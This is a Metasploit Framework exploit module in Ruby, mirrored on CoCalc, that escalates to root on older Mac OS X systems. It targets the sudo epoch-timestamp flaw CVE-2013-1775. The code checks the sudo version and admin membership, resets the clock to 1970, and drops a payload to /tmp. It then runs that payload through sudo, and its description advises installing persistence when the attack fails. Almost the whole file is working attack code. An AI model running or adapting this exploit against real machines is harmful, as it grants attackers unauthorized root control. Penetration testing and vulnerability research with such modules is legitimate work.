Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/local/sudo_password_bypass.rb
19720 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'shellwords'
7
8
class MetasploitModule < Msf::Exploit::Local
9
10
# ManualRanking because it's going to modify system time
11
# Even when it will try to restore things, user should use
12
# it at his own risk
13
Rank = NormalRanking
14
15
include Msf::Post::File
16
include Msf::Post::OSX::Priv
17
include Msf::Exploit::EXE
18
include Msf::Exploit::FileDropper
19
20
SYSTEMSETUP_PATH = "/usr/sbin/systemsetup"
21
VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']]
22
CMD_TIMEOUT = 45
23
24
# saved clock config
25
attr_accessor :clock_changed, :date, :network_server, :networked, :time, :zone
26
27
def initialize(info = {})
28
super(
29
update_info(
30
info,
31
'Name' => 'Mac OS X Sudo Password Bypass',
32
'Description' => %q{
33
This module gains a session with root permissions on versions of OS X with
34
sudo binary vulnerable to CVE-2013-1775. Tested working on Mac OS 10.7-10.8.4,
35
and possibly lower versions.
36
37
If your session belongs to a user with Administrative Privileges
38
(the user is in the sudoers file and is in the "admin group"), and the
39
user has ever run the "sudo" command, it is possible to become the super
40
user by running `sudo -k` and then resetting the system clock to 01-01-1970.
41
42
This module will fail silently if the user is not an admin, if the user has never
43
run the sudo command, or if the admin has locked the Date/Time preferences.
44
45
Note: If the user has locked the Date/Time preferences, requests to overwrite
46
the system clock will be ignored, and the module will silently fail. However,
47
if the "Require an administrator password to access locked preferences" setting
48
is not enabled, the Date/Time preferences are often unlocked every time the admin
49
logs in, so you can install persistence and wait for a chance later.
50
},
51
'License' => MSF_LICENSE,
52
'Author' => [
53
'Todd C. Miller', # Vulnerability discovery
54
'joev', # Metasploit module
55
'juan vazquez' # testing/fixing module bugs
56
],
57
'References' => [
58
[ 'CVE', '2013-1775' ],
59
[ 'OSVDB', '90677' ],
60
[ 'BID', '58203' ],
61
[ 'URL', 'http://www.sudo.ws/sudo/alerts/epoch_ticket.html' ]
62
],
63
'Platform' => 'osx',
64
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],
65
'SessionTypes' => [ 'shell', 'meterpreter' ],
66
'Targets' => [
67
[
68
'Mac OS X x86 (Native Payload)',
69
{
70
'Platform' => 'osx',
71
'Arch' => ARCH_X86
72
}
73
],
74
[
75
'Mac OS X x64 (Native Payload)',
76
{
77
'Platform' => 'osx',
78
'Arch' => ARCH_X64
79
}
80
],
81
[
82
'CMD',
83
{
84
'Platform' => 'unix',
85
'Arch' => ARCH_CMD
86
}
87
]
88
],
89
'DefaultTarget' => 0,
90
'DisclosureDate' => '2013-02-28',
91
'Notes' => {
92
'Reliability' => UNKNOWN_RELIABILITY,
93
'Stability' => UNKNOWN_STABILITY,
94
'SideEffects' => UNKNOWN_SIDE_EFFECTS
95
}
96
)
97
)
98
register_advanced_options([
99
OptString.new('TMP_FILE',
100
[
101
true, 'For the native targets, specifies the path that ' +
102
'the executable will be dropped on the client machine.',
103
'/tmp/.<random>/<random>'
104
]),
105
])
106
end
107
108
# ensure target is vulnerable by checking sudo vn and checking
109
# user is in admin group.
110
def check
111
if cmd_exec("sudo -V") =~ /version\s+([^\s]*)\s*$/
112
sudo_vn = $1
113
sudo_vn_parts = sudo_vn.split(/[\.p]/).map(&:to_i)
114
# check vn between 1.6.0 through 1.7.10p6
115
# and 1.8.0 through 1.8.6p6
116
if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES)
117
vprint_error "sudo version #{sudo_vn} not vulnerable."
118
return CheckCode::Safe
119
end
120
else
121
vprint_error "sudo not detected on the system."
122
return CheckCode::Safe
123
end
124
125
# check that the user is in OSX's admin group, necessary to change sys clock
126
unless is_admin?
127
vprint_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)."
128
return CheckCode::Safe
129
end
130
131
# one root for you sir
132
CheckCode::Vulnerable
133
end
134
135
def exploit
136
if is_root?
137
fail_with Failure::BadConfig, 'Session already has root privileges'
138
end
139
140
unless is_admin?
141
fail_with Failure::NoAccess, "User is not in the 'admin' group, bailing."
142
end
143
144
if check != CheckCode::Vulnerable
145
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
146
end
147
148
# "remember" the current system time/date/network/zone
149
print_good("User is an admin, continuing...")
150
151
print_status("Saving system clock config...")
152
@time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1]
153
@date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1]
154
@networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/)
155
@zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1]
156
@network_server = if @networked
157
cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1]
158
end
159
160
run_sudo_cmd
161
end
162
163
def cleanup
164
if @clock_changed
165
print_status("Resetting system clock to original values") if @time
166
cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil?
167
cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil?
168
cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil?
169
if @networked
170
cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On")
171
unless @network_server.nil?
172
cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}")
173
end
174
end
175
print_good("Completed clock reset.")
176
else
177
print_status "Skipping cleanup since the clock was never changed"
178
end
179
180
super
181
end
182
183
private
184
185
def run_sudo_cmd
186
print_status("Resetting user's time stamp file and setting clock to the epoch")
187
cmd_exec(
188
"sudo -k; \n" +
189
"#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT" +
190
" -setdate 01:01:1970 -settime 00:00"
191
)
192
if not cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match("1/1/1970")
193
fail_with(Failure::NoAccess, "Date and time preference pane appears to be locked. By default, this pane is unlocked upon login.")
194
else
195
@clock_changed = true
196
end
197
198
# drop the payload (unless CMD)
199
if using_native_target?
200
cmd_exec("mkdir -p #{File.dirname(drop_path)}")
201
write_file(drop_path, generate_payload_exe)
202
register_files_for_cleanup(drop_path)
203
cmd_exec("chmod +x #{[drop_path].shelljoin}")
204
print_status("Payload dropped and registered for cleanup")
205
end
206
207
# Run Test
208
test = rand_text_alpha(4 + rand(4))
209
sudo_cmd_test = ['sudo', '-S', ["echo #{test}"].shelljoin].join(' ')
210
211
print_status("Testing that user has sudoed before...")
212
output = cmd_exec('echo "" | ' + sudo_cmd_test)
213
214
if output =~ /incorrect password attempts\s*$/i
215
fail_with(Failure::NotFound, "User has never run sudo, and is therefore not vulnerable. Bailing.")
216
elsif output =~ /#{test}/
217
print_good("Test executed succesfully. Running payload.")
218
else
219
print_error("Unknown fail while testing, trying to execute the payload anyway...")
220
end
221
222
# Run Payload
223
sudo_cmd_raw = if using_native_target?
224
['sudo', '-S', [drop_path].shelljoin].join(' ')
225
elsif using_cmd_target?
226
['sudo', '-S', '/bin/sh', '-c', [payload.encoded].shelljoin].join(' ')
227
end
228
229
## to prevent the password prompt from destroying session
230
## backgrounding the sudo payload in order to keep both sessions usable
231
sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true'
232
233
print_status "Running command: "
234
print_line sudo_cmd
235
output = cmd_exec(sudo_cmd)
236
end
237
238
# default cmd_exec timeout to CMD_TIMEOUT constant
239
def cmd_exec(cmd, args = nil, timeout = CMD_TIMEOUT)
240
super
241
end
242
243
# helper methods for accessing datastore
244
def using_native_target?
245
target.name =~ /native/i
246
end
247
248
def using_cmd_target?
249
target.name =~ /cmd/i
250
end
251
252
def drop_path
253
@_drop_path ||= datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) }
254
end
255
256
# helper methods for dealing with sudo's vn num
257
def parse_vn(vn_str)
258
vn_str.split(/[\.p]/).map(&:to_i)
259
end
260
261
def vn_bt(vn, ranges) # e.g. ('1.7.1', [['1.7.0', '1.7.6p44']])
262
vn_parts = parse_vn(vn)
263
ranges.any? do |range|
264
min_parts = parse_vn(range[0])
265
max_parts = parse_vn(range[1])
266
vn_parts.all? do |part|
267
min = min_parts.shift
268
max = max_parts.shift
269
(min.nil? or (not part.nil? and part >= min)) and
270
(part.nil? or (not max.nil? and part <= max))
271
end
272
end
273
end
274
end
275
276